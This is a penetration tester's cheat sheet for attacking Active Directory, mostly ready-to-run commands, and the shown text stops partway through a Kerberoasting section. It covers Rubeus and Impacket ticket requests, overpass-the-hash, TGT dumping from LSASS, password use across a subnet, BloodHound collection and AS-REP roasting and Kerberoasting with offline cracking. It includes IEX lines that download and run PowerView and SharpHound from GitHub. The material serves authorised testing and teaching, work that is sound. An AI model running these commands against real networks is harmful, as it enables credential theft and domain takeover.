Skip to main content
Background Image

VAPT Notes (Active Directory Exploitation Part I)

4768 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Active Directory Exploitation
#

Environment Setup
#

# Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100"           # Primary target IP
export TARGET_NETWORK="10.10.10.0/24"     # Target network CIDR
export DC_IP="10.10.10.1"                 # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5"     # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443"          # Your listener port
export DOMAIN="corp.local"                 # Target domain name

Authenticating to Active Directory
#

Windows Authentication
#

# === VIEW CURRENT KERBEROS TICKETS ===

# List all cached tickets
klist

# List tickets for specific logon session
klist -li 0x3e7  # SYSTEM logon session

# Purge all tickets (clear cache)
klist purge

# === DOMAIN CONTROLLER DISCOVERY ===

# Find Domain Controller for current domain
nltest /dsgetdc:$env:USERDOMAIN

# Find DCs for specific domain
nltest /dclist:corp.local

# Get DC via DNS
nslookup -type=srv _ldap._tcp.dc._msdcs.corp.local

# PowerShell method
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers

# === RUBEUS AUTHENTICATION ===

# Request TGT with plaintext password
.\Rubeus.exe asktgt /user:jsmith /password:Welcome123! /domain:corp.local /ptt

# Request TGT with NTLM hash (Overpass-the-Hash)
.\Rubeus.exe asktgt /user:jsmith /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt

# Request TGT with AES key (more stealthy)
.\Rubeus.exe asktgt /user:jsmith /aes256:AESKEY /domain:corp.local /ptt

# Request TGT without importing (save to file)
.\Rubeus.exe asktgt /user:jsmith /password:Welcome123! /domain:corp.local /outfile:jsmith.kirbi

# Request TGT for specific service (request ST)
.\Rubeus.exe asktgs /ticket:BASE64_TGT /service:cifs/fileserver.corp.local /ptt

# === MANAGING TICKETS ===

# List all tickets in current session
.\Rubeus.exe klist

# List tickets from all logon sessions (requires admin)
.\Rubeus.exe triage

# Dump specific ticket
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt

# Dump all TGTs
.\Rubeus.exe dump /service:krbtgt /nowrap

# Import ticket into current session
.\Rubeus.exe ptt /ticket:BASE64_TICKET

# Import ticket from file
.\Rubeus.exe ptt /ticket:C:\Temp\ticket.kirbi

# Monitor for new TGTs (useful for unconstrained delegation)
.\Rubeus.exe monitor /interval:5 /filteruser:administrator

# Harvest TGTs from LSASS
.\Rubeus.exe harvest /interval:30

# === RENEWING TICKETS ===

# Renew TGT (if renewable flag is set)
.\Rubeus.exe renew /ticket:BASE64_TGT /ptt

# Renew all renewable TGTs
.\Rubeus.exe renew /autorenew

# === ACCESSING RESOURCES ===

# Access SMB share (automatically requests ST if needed)
net view \\DC01.corp.local
dir \\DC01.corp.local\C$
dir \\DC01.corp.local\SYSVOL

# Test authentication
klist
# Should show TGT and any service tickets

Linux Authentication
#

# === ENVIRONMENT SETUP ===

# Add KDC and DCs to /etc/hosts
echo "10.10.10.10   corp.local dc01.corp.local" | sudo tee -a /etc/hosts
echo "10.10.10.11   dc02.corp.local" | sudo tee -a /etc/hosts

# Sync time with KDC (critical for Kerberos)
sudo ntpdate -s corp.local
# Or with chrony
sudo chronyd -q 'server corp.local iburst'
# Or with timedatectl
sudo timedatectl set-ntp true

# Check time sync
date
# Should be within 5 minutes of DC time

# === KERBEROS CONFIGURATION ===

# Create krb5.conf (method 1: minimal)
cat > krb5.conf << 'EOF'
[libdefaults]
    default_realm = CORP.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true

[realms]
    CORP.LOCAL = {
        kdc = dc01.corp.local
        admin_server = dc01.corp.local
    }

[domain_realm]
    .corp.local = CORP.LOCAL
    corp.local = CORP.LOCAL
EOF

# Create krb5.conf (method 2: comprehensive)
cat > krb5.conf << 'EOF'
[libdefaults]
    default_realm = CORP.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false
    udp_preference_limit = 1

[realms]
    CORP.LOCAL = {
        kdc = dc01.corp.local:88
        admin_server = dc01.corp.local:749
        default_domain = corp.local
    }

[domain_realm]
    .corp.local = CORP.LOCAL
    corp.local = CORP.LOCAL

[logging]
    default = FILE:/tmp/krb5libs.log
    kdc = FILE:/tmp/krb5kdc.log
    admin_server = FILE:/tmp/kadmind.log
EOF

# Set environment variable
export KRB5_CONFIG=$(pwd)/krb5.conf

# Verify configuration
klist -k  # Should show keytab info (or error if none exists)

# === KINIT AUTHENTICATION ===

# Request TGT with password (interactive)
kinit jsmith@CORP.LOCAL
# Enter password when prompted

# Request TGT with password (non-interactive)
echo 'Welcome123!' | kinit jsmith@CORP.LOCAL

# Request TGT with keytab
kinit -kt user.keytab jsmith@CORP.LOCAL

# List cached tickets
klist
klist -e  # Show encryption types

# Destroy tickets
kdestroy

# === IMPACKET AUTHENTICATION ===

# Get TGT with plaintext password
getTGT.py 'corp.local/jsmith:Welcome123!'

# Get TGT with NTLM hash
getTGT.py 'corp.local/jsmith' -hashes :64f12cddaa88057e06a81b54e73b949b

# Get TGT with AES key
getTGT.py 'corp.local/jsmith' -aesKey <AES256_KEY>

# Get TGT for specific DC
getTGT.py 'corp.local/jsmith:Welcome123!' -dc-ip 10.10.10.10

# Save ticket to specific file
getTGT.py 'corp.local/jsmith:Welcome123!' -o jsmith.ccache

# === USING KERBEROS CACHE ===

# Set cache file location
export KRB5CCNAME=/tmp/krb5cc_1000
# Or specific file
export KRB5CCNAME=$(pwd)/jsmith.ccache

# Use cache with Impacket tools
export KRB5CCNAME=jsmith.ccache
psexec.py -k -no-pass corp.local/jsmith@dc01.corp.local

# Use cache with NetExec
export KRB5CCNAME=jsmith.ccache
nxc smb dc01.corp.local --use-kcache

# === NETEXEC KERBEROS AUTHENTICATION ===

# Authenticate with password (auto-requests TGT)
nxc smb dc01.corp.local -u jsmith -p 'Welcome123!' -d corp.local --kerberos

# Authenticate with NTLM hash
nxc smb dc01.corp.local -u jsmith -H 64f12cddaa88057e06a81b54e73b949b --kerberos

# Use existing Kerberos cache
nxc smb dc01.corp.local --use-kcache

# Multiple targets with Kerberos
nxc smb 10.10.10.0/24 -u jsmith -p 'Welcome123!' --kerberos

# === ACQUIRING SERVICE TICKETS ===

# Request service ticket explicitly (kvno)
kvno cifs/dc01.corp.local
kvno ldap/dc01.corp.local
kvno http/web.corp.local

# Verify service ticket was acquired
klist
# Should show service ticket for requested SPN

# === TROUBLESHOOTING ===

# Common error: Clock skew too great
# Fix: Sync time with DC
sudo ntpdate -s corp.local

# Common error: Server not found in Kerberos database
# Fix: Check /etc/hosts and krb5.conf realm name (must be uppercase)

# Common error: Pre-authentication failed
# Fix: Verify username format (user@REALM.COM, not DOMAIN\user)

# Common error: Cannot resolve network address
# Fix: Add DC to /etc/hosts

# Enable debug logging
export KRB5_TRACE=/dev/stdout
kinit jsmith@CORP.LOCAL

# Test Kerberos authentication
kinit -V jsmith@CORP.LOCAL
klist -e

# Test service ticket acquisition
kvno -S cifs dc01.corp.local

# === TICKET CONVERSION (CROSS-PLATFORM) ===

# Convert between .kirbi (Windows) and .ccache (Linux)
# Use ticket_converter.py or custom script

# Kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache

# Ccache to kirbi
ticketConverter.py ticket.ccache ticket.kirbi

# Use converted ticket
export KRB5CCNAME=ticket.ccache
nxc smb dc01.corp.local --use-kcache

# === ADVANCED KERBEROS USAGE ===

# Request ticket with specific encryption type
kinit -e aes256-cts-hmac-sha1-96 jsmith@CORP.LOCAL

# Request renewable ticket
kinit -r 7d jsmith@CORP.LOCAL

# Renew existing ticket
kinit -R

# Request forwardable ticket
kinit -f jsmith@CORP.LOCAL

# Request ticket for specific service without caching
kvno -S cifs dc01.corp.local -P

# === PASS-THE-CACHE (PTC) ===

# Copy cache file from one user/system to another
cp /tmp/krb5cc_1000 /tmp/krb5cc_0

# Use copied cache
export KRB5CCNAME=/tmp/krb5cc_1000
klist

# Extract tickets from cache
klist -e -k -t

# === OVERPASS-THE-HASH (OPTH) FROM LINUX ===

# Method 1: Using getTGT.py
getTGT.py 'corp.local/jsmith' -hashes :64f12cddaa88057e06a81b54e73b949b

# Method 2: Using NetExec (integrated)
nxc smb dc01.corp.local -u jsmith -H 64f12cddaa88057e06a81b54e73b949b --kerberos

# Method 3: Using Rubeus.py (if available)
python3 rubeus.py asktgt -username jsmith -domain corp.local -nthash 64f12cddaa88057e06a81b54e73b949b

# Use generated ticket
export KRB5CCNAME=jsmith.ccache
nxc smb dc01.corp.local --use-kcache

Domain Enumeration
#

# === BASIC DOMAIN INFORMATION ===

# Current domain info
echo %USERDOMAIN%
echo %LOGONSERVER%
$env:USERDNSDOMAIN
$env:LOGONSERVER

# Domain controllers
nltest /dclist:$env:USERDOMAIN
nltest /dsgetdc:$env:USERDOMAIN

# DNS query for DCs
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
nslookup -type=SRV _kerberos._tcp.dc._msdcs.corp.local

# PowerShell domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# AD module (if available)
Get-ADDomain
Get-ADDomain -Identity corp.local
Get-ADForest
Get-ADForest -Identity corp.local

# Domain functional level
Get-ADDomain | Select-Object DomainMode
Get-ADForest | Select-Object ForestMode

# Domain trusts
nltest /domain_trusts
nltest /trusted_domains

# FSMO role holders
netdom query fsmo
Get-ADDomain | Select-Object InfrastructureMaster, RIDMaster, PDCEmulator
Get-ADForest | Select-Object DomainNamingMaster, SchemaMaster

# Domain password policy
net accounts /domain
Get-ADDefaultDomainPasswordPolicy

# === LINUX DOMAIN ENUMERATION ===

# LDAP domain info
ldapsearch -x -H ldap://dc01.corp.local -s base -b "" defaultNamingContext

# Domain functional level
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" "(objectClass=domainDNS)" msDS-Behavior-Version

# Domain controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local

# NetExec domain info
nxc smb dc01.corp.local -u jsmith -p 'Welcome123!' --pass-pol
nxc ldap dc01.corp.local -u jsmith -p 'Welcome123!' -M get-desc-users

# Impacket domain info
lookupsid.py corp.local/jsmith:Welcome123!@dc01.corp.local

User Enumeration
#

# === LDAPSEARCH USER ENUMERATION ===

# All users
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName userPrincipalName

# Users with specific attributes
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName mail description pwdLastSet lastLogon memberOf

# Users with adminCount=1 (privileged)
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(adminCount=1))" sAMAccountName

# Users with SPN (Kerberoastable)
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

# Users without pre-auth (AS-REP Roastable)
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

# Disabled users
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName

# === WINDAPSEARCH ===

# All users
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --users

# Privileged users
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --privileged-users

# Users with description containing "password"
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --custom "(description=*password*)"

# Unconstrained delegation users
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --unconstrained-users

# All attributes for specific user
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --user-attrs administrator

# === NETEXEC USER ENUMERATION ===

# All users
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --users

# Users with adminCount=1
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --admin-count

# Active users
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --active-users

# User descriptions
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M get-desc-users

# MAQ (MachineAccountQuota)
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M maq

# Get user info
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M user-desc -o USER=administrator

# === IMPACKET USER ENUMERATION ===

# RID cycling
lookupsid.py corp.local/jsmith:Welcome123!@DC_IP

# RID cycling with range
lookupsid.py corp.local/jsmith:Welcome123!@DC_IP 20000

# === POWERVIEW USER ENUMERATION ===

# Import PowerView
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# All domain users
Get-DomainUser
Get-DomainUser | Select-Object samaccountname,description,pwdlastset,lastlogon

# Specific user
Get-DomainUser -Identity administrator
Get-DomainUser -Identity administrator -Properties *

# Users with specific attributes
Get-DomainUser -LDAPFilter "(description=*password*)"
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

# Users with SPN
Get-DomainUser -SPN

# Users with adminCount=1
Get-DomainUser -AdminCount

# Recently created users
Get-DomainUser | Where-Object {$_.whencreated -gt (Get-Date).AddDays(-30)}

# Users who haven't logged on in 90 days
Get-DomainUser | Where-Object {$_.lastlogon -lt (Get-Date).AddDays(-90)}

# Users with password not required
Get-DomainUser -UACFilter PASSWD_NOTREQD

# Users with password never expires
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD

# Users with delegation rights
Get-DomainUser -TrustedToAuth

# Users with constrained delegation
Get-DomainUser -AllowDelegation

# === AD MODULE USER ENUMERATION ===

# All users
Get-ADUser -Filter *
Get-ADUser -Filter * | Select-Object SamAccountName,Enabled,LastLogonDate

# Specific user
Get-ADUser -Identity administrator -Properties *

# Users with specific criteria
Get-ADUser -Filter {Enabled -eq $true}
Get-ADUser -Filter {Description -like "*password*"}
Get-ADUser -Filter {AdminCount -eq 1}

# Users in specific OU
Get-ADUser -Filter * -SearchBase "OU=IT,DC=corp,DC=local"

# Users with SPN
Get-ADUser -Filter {ServicePrincipalName -like "*"}

# Users with password never expires
Get-ADUser -Filter {PasswordNeverExpires -eq $true}

Group Enumeration
#

# === LDAPSEARCH GROUP ENUMERATION ===

# All groups
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=group)" cn member

# Privileged groups
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Administrators)))" cn member

# Group members
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(cn=Domain Admins)" member

# Groups with adminCount=1
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=group)(adminCount=1))" cn

# === WINDAPSEARCH GROUPS ===

# All groups
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --groups

# Privileged groups
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --privileged-groups

# Group members
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --group-members "Domain Admins"

# === NETEXEC GROUP ENUMERATION ===

# All groups
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --groups

# Specific group members
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M group-mem -o GROUP="Domain Admins"

# === POWERVIEW GROUP ENUMERATION ===

# All groups
Get-DomainGroup
Get-DomainGroup | Select-Object samaccountname,description

# Specific group
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" -Properties *

# Group members
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Groups with specific attributes
Get-DomainGroup -LDAPFilter "(description=*admin*)"
Get-DomainGroup -AdminCount

# User's group membership
Get-DomainGroup -UserName jsmith

# Groups in specific OU
Get-DomainGroup -SearchBase "OU=Groups,DC=corp,DC=local"

# Local admin group members on computers
Get-NetLocalGroupMember -ComputerName DC01 -GroupName Administrators

# === AD MODULE GROUP ENUMERATION ===

# All groups
Get-ADGroup -Filter *

# Specific group
Get-ADGroup -Identity "Domain Admins" -Properties *

# Group members
Get-ADGroupMember -Identity "Domain Admins"
Get-ADGroupMember -Identity "Domain Admins" -Recursive

# User's group membership
Get-ADPrincipalGroupMembership -Identity jsmith

Computer Enumeration
#

# === LDAPSEARCH COMPUTER ENUMERATION ===

# All computers
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=computer)" dNSHostName operatingSystem

# Domain controllers
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" dNSHostName

# Computers with unconstrained delegation
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName

# Computers with constrained delegation
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(msDS-AllowedToDelegateTo=*))" dNSHostName msDS-AllowedToDelegateTo

# === WINDAPSEARCH COMPUTERS ===

# All computers
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --computers

# Domain controllers
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --dc

# Computers with unconstrained delegation
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --unconstrained-computers

# === NETEXEC COMPUTER ENUMERATION ===

# All computers
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --computers

# Enumerate SMB on all computers
nxc smb 10.10.10.0/24 -u jsmith -p 'Welcome123!'

# Find computers where user has admin
nxc smb 10.10.10.0/24 -u jsmith -p 'Welcome123!' --local-auth

# === POWERVIEW COMPUTER ENUMERATION ===

# All computers
Get-DomainComputer
Get-DomainComputer | Select-Object name,operatingsystem,serviceprincipalname

# Specific computer
Get-DomainComputer -Identity DC01
Get-DomainComputer -Identity DC01 -Properties *

# Computers with specific OS
Get-DomainComputer -OperatingSystem "*Server 2019*"
Get-DomainComputer -OperatingSystem "*Windows 10*"

# Domain controllers
Get-DomainController
Get-DomainController | Select-Object Name,IPAddress,OSVersion

# Computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Computers with constrained delegation
Get-DomainComputer -TrustedToAuth

# Computers in specific OU
Get-DomainComputer -SearchBase "OU=Servers,DC=corp,DC=local"

# Live computers (ping sweep)
Get-DomainComputer | ForEach-Object {if (Test-Connection -Count 1 -ComputerName $_.dnshostname -Quiet){$_.dnshostname}}

# Computers with specific SPN
Get-DomainComputer -ServicePrincipalName "*MSSQL*"

# === AD MODULE COMPUTER ENUMERATION ===

# All computers
Get-ADComputer -Filter *
Get-ADComputer -Filter * | Select-Object Name,OperatingSystem,LastLogonDate

# Specific computer
Get-ADComputer -Identity DC01 -Properties *

# Computers with specific criteria
Get-ADComputer -Filter {OperatingSystem -like "*Server*"}
Get-ADComputer -Filter {Enabled -eq $true}

# Domain controllers
Get-ADDomainController -Filter *

BloodHound Collection
#

# === SHARPHOUND (WINDOWS) ===

# Download and run in memory
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\ -OutputPrefix "corp_bh"

# Run executable
.\SharpHound.exe -c All -d corp.local --zipfilename corp_bh.zip

# Specific collection methods
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp\
.\SharpHound.exe -c Session,LoggedOn --outputdirectory C:\Temp\
.\SharpHound.exe -c Group,LocalAdmin --outputdirectory C:\Temp\

# Stealth collection (no port scanning)
.\SharpHound.exe -c All --stealth --outputdirectory C:\Temp\

# Loop collection (monitor changes)
.\SharpHound.exe -c Session --loop --loopduration 02:00:00

# Specify domain controller
.\SharpHound.exe -c All -d corp.local --domaincontroller dc01.corp.local

# Skip specific checks
.\SharpHound.exe -c All --excludedc --outputdirectory C:\Temp\

# Debug mode
.\SharpHound.exe -c All -v --outputdirectory C:\Temp\

# === BLOODHOUND-PYTHON (LINUX) ===

# All collection methods
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c All

# Specific collection methods
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c DCOnly
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c Group,LocalAdmin

# With NTLM hash
bloodhound-python -u jsmith --hashes :NTLM_HASH -ns DC_IP -d corp.local -c All

# With Kerberos
bloodhound-python -u jsmith -k -ns DC_IP -d corp.local -c All

# Specify domain controller
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -dc dc01.corp.local -c All

# Output to specific directory
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c All --zip -o /tmp/bh_output

# === NETEXEC BLOODHOUND ===

# Collect all data
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --bloodhound -ns DC_IP -c All

# Collect specific methods
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --bloodhound -ns DC_IP -c DCOnly

# === RUSTHOUND (MODERN ALTERNATIVE) ===

# All collection
rusthound -d corp.local -u jsmith@corp.local -p 'Welcome123!' -o /tmp/bh_output

# With LDAPS
rusthound -d corp.local -u jsmith@corp.local -p 'Welcome123!' --ldaps -o /tmp/bh_output

# === AZUREHOUND (AZURE AD) ===

# Collect Azure AD data
azurehound -u user@company.com -p 'Welcome123!' list --tenant company.onmicrosoft.com

# With refresh token
azurehound -r <refresh_token> list --tenant company.onmicrosoft.com

# === ANALYZING BLOODHOUND DATA ===

# Start Neo4j
sudo neo4j console

# Start BloodHound GUI
bloodhound

# Import data via GUI
# File → Upload Data → Select .zip file

# Useful Cypher queries

# Find shortest path to DA
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}),(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}), p=shortestPath((u)-[*1..]->(g)) RETURN p

# Find computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

# Find users with DCSync rights
MATCH (u:User)-[:DCSync]->(d:Domain) RETURN u

# Find Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u

# Find AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u

# Find computers where user has admin
MATCH (u:User {name:"JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c

# Find high-value targets
MATCH (h {highvalue:true}) RETURN h

# Find owned principals
MATCH (o {owned:true}) RETURN o

# Mark as owned (after compromise)
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}) SET u.owned=true

# Mark as high value
MATCH (u:User {name:"ADMIN@CORP.LOCAL"}) SET u.highvalue=true

Credential Attacks
#

AS-REP Roasting
#

# === CONCEPT ===
# Targets users with "Do not require Kerberos preauthentication" enabled
# Allows requesting AS-REP without authentication
# Hash can be cracked offline

# === FINDING AS-REP ROASTABLE USERS ===

# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

# PowerView
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

# BloodHound Cypher
MATCH (u:User {dontreqpreauth:true}) RETURN u

# === IMPACKET GETNPUSERS ===

# Without credentials (unauthenticated)
GetNPUsers.py corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt

# With credentials
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request

# Request for specific user
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request-user targetuser

# Output in hashcat format
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -format hashcat -outputfile asrep_hashes.txt

# Output in john format
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -format john -outputfile asrep_hashes.txt

# With NTLM hash
GetNPUsers.py corp.local/jsmith -hashes :NTLM_HASH -dc-ip DC_IP -request

# === NETEXEC AS-REP ROASTING ===

# Request AS-REP hashes
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --asreproast asrep_hashes.txt

# Output in different format
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --asreproast asrep_hashes.txt --asreproast-format hashcat

# Without credentials (if anonymous LDAP is enabled)
nxc ldap DC_IP -u '' -p '' --asreproast asrep_hashes.txt

# === RUBEUS AS-REP ROASTING ===

# Request AS-REP for all vulnerable users
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Request for specific user
.\Rubeus.exe asreproast /user:targetuser /format:hashcat /outfile:asrep_hash.txt

# Request for specific domain
.\Rubeus.exe asreproast /domain:corp.local /dc:dc01.corp.local /format:hashcat

# Use alternate credentials
.\Rubeus.exe asreproast /user:targetuser /domain:corp.local /dc:dc01.corp.local /creduser:jsmith /credpassword:Welcome123!

# Request with verbose output
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt /nowrap

# === CRACKING AS-REP HASHES ===

# Hashcat (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

# Hashcat with rules
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

# Hashcat with mask attack
hashcat -m 18200 asrep_hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?d --force

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

# John with rules
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 asrep_hashes.txt

# Show cracked hashes
hashcat -m 18200 asrep_hashes.txt --show
john --show asrep_hashes.txt

# === EXPLOITATION NOTES ===
# After obtaining hash, crack offline
# No account lockout risk
# Does not generate logon event
# Stealthy - only AS-REQ logged

Kerberoasting
#

# === CONCEPT ===
# Request service tickets (TGS) for accounts with SPNs
# Service ticket encrypted with service account's password hash
# Crack offline to recover plaintext password

# === FINDING KERBEROASTABLE ACCOUNTS ===

# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

# PowerView
Get-DomainUser -SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# BloodHound Cypher
MATCH (u:User {hasspn:true}) RETURN u
MATCH (u:User {hasspn:true}) WHERE NOT u.name CONTAINS "KRBTGT" RETURN u

# Check for weak SPNs (non-machine accounts)
Get-DomainUser -SPN | Where-Object {$_.samaccountname -notlike "*$"}

# === IMPACKET GETUSERSPNS ===

# Request all Kerberoastable hashes
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request

# Request for specific user
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request-user svcaccount

# Output in hashcat format
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -outputfile kerberoast_hashes.txt

# With NTLM hash
GetUserSPNs.py corp.local/jsmith -hashes :NTLM_HASH -dc-ip DC_IP -request

# With Kerberos authentication
GetUserSPNs.py corp.local/jsmith -k -no-pass -dc-ip DC_IP -request

# Save tickets (not hashes)
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -save

# Request only RC4 encrypted tickets (easier to crack)
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -outputfile hashes.txt -dc-ip DC_IP

# === NETEXEC KERBEROASTING ===

# Request Kerberoast hashes
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --kerberoasting kerberoast_hashes.txt

# Output in hashcat format
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --kerberoasting kerberoast_hashes.txt --kerberoasting-format hashcat

# With Kerberos authentication
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --kerberos --kerberoasting kerberoast_hashes.txt

# === RUBEUS KERBEROASTING ===

# Request all Kerberoastable hashes
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Request with hashcat format
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt

# Request for specific user
.\Rubeus.exe kerberoast /user:svcaccount /format:hashcat /outfile:hash.txt

# Request only RC4 tickets (deprecated encryption, easier to crack)
.\Rubeus.exe kerberoast /rc4 /outfile:kerberoast_rc4.txt

# Request AES tickets
.\Rubeus.exe kerberoast /aes /outfile:kerberoast_aes.txt

# Specify domain
